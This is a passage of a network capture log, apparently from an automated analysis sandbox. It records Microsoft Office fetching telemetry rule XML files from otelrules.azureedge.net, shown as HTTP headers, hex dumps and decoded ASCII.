C="NexusTenantTokenPowerPoint" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.7	49863	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 23:49:12 UTC	192	OUT	GET /rules/rule702551v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 23:49:13 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 23:49:13 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCE9703A" x-ms-request-id: 8337024b-c01e-0079-5d05-48e51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T234913Z-r1cf579d778zvkpnhC1EWRv23g000000044g000000001134 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 23:49:13 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702551" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.7	49864	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 23:49:12 UTC	192	OUT	GET /rules/rule702550v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 23:49:13 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 23:49:13 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE584C214" x-ms-request-id: 40072cf2-b01e-001e-4a03-480214000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T234913Z-r1cf579d778z4wflhC1EWRa3h000000003ug0000000043b4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 23:49:13 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702550" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPersonalization" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.7	49865	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 23:49:12 UTC	192	OUT	GET /rules/rule701351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 23:49:13 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 23:49:13 GMT Content-Type: text/xml Content-Length: 1407 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE687B46A" x-ms-request-id: f1085035-901e-007b-3808-48ac50000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T234913Z-r1cf579d778lntp7hC1EWR9gg4000000035000000000767z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 23:49:13 UTC	1407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.7	49866	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 23:49:13 UTC	192	OUT	GET /rules/rule701350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 23:49:13 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 23:49:13 GMT Content-Type: text/xml Content-Length: 1370 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE62E0AB" x-ms-request-id: a36eb884-e01e-0051-4c04-4884b2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T234913Z-r1cf579d778d5zkmhC1EWRk6h8000000045g000000008tn9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 23:49:13 UTC	1370	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPerformance" S="Medium" /> <F

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.7	49867	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 23:49:14 UTC	192	OUT	GET /rules/rule702151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 23:49:14 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 23:49:14 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE156D2EE" x-ms-request-id: 447ddde3-501e-0047-290a-48ce6c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T234914Z-r1cf579d778t6txphC1EWRsd4400000004b0000000000qbx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 23:49:14 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeo

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.7	49868	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 23:49:15 UTC	192	OUT	GET /rules/rule703000v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 23:49:15 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 23:49:15 GMT Content-Type: text/xml Content-Length: 1369 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE32FE1A2" x-ms-request-id: 5fa529d3-701e-0097-6308-48b8c1000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T234915Z-r1cf579d7786c2tshC1EWRr1gc000000039g0000000092rm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 23:49:15 UTC	1369	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 30 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 4d 61 63 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 75 74 6c 6f 6f 6b 4d 61 63 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703000" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Mac" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOutlookMac" S="Medium" /> <F T

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.7	49869	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 23:49:15 UTC	192	OUT	GET /rules/rule703001v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 23:49:15 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 23:49:15 GMT Content-Type: text/xml Content-Length: 1406 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB16F27E" x-ms-request-id: 1c840c04-c01e-0034-5806-482af6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T234915Z-r1cf579d7786c2tshC1EWRr1gc00000003e0000000003pwb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 23:49:15 UTC	1406	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 30 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 4d 61 63 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703001" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Mac.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.7	49870	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 23:49:15 UTC	192	OUT	GET /rules/rule702150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 23:49:15 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 23:49:15 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:07 GMT ETag: "0x8DC582BEDC8193E" x-ms-request-id: 848b85bb-b01e-0053-2106-48cdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T234915Z-r1cf579d7786c2tshC1EWRr1gc00000003e0000000003pwa x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 23:49:15 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f 70 6c 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeople" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.7	49871	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 23:49:15 UTC	192	OUT	GET /rules/rule700751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 23:49:15 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 23:49:15 GMT Content-Type: text/xml Content-Length: 1414 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE03B051D" x-ms-request-id: 0c26b312-d01e-0049-6f07-48e7dc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T234915Z-r1cf579d778kr8xrhC1EWRfkun000000048g000000002qd4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 23:49:15 UTC	1414	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Desktop.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.7	49872	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 23:49:16 UTC	192	OUT	GET /rules/rule700750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 23:49:17 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 23:49:16 GMT Content-Type: text/xml Content-Length: 1377 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:02 GMT ETag: "0x8DC582BEAFF0125" x-ms-request-id: 217a7818-401e-00ac-3104-480a97000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T234916Z-r1cf579d778kr8xrhC1EWRfkun000000047g000000004757 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 23:49:17 UTC	1377	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 75 74 6c 6f 6f 6b 44 65 73 6b 74 6f 70 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Desktop" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOutlookDesktop" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.7	49874	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 23:49:17 UTC	192	OUT	GET /rules/rule700150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 23:49:17 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 23:49:17 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE54CA33F" x-ms-request-id: d011e298-d01e-0066-630e-48ea17000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T234917Z-r1cf579d778kr8xrhC1EWRfkun00000004ag000000000agp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 23:49:17 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 6e 65 4e 6f 74 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 6e 65 4e 6f 74 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OneNote" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOneNote" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.7	49873	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 23:49:17 UTC	192	OUT	GET /rules/rule700151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 23:49:17 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 23:49:17 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0A2434F" x-ms-request-id: 40cd345a-901e-0016-17e9-48efe9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T234917Z-r1cf579d7788pwqzhC1EWRrpd800000004400000000011fu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
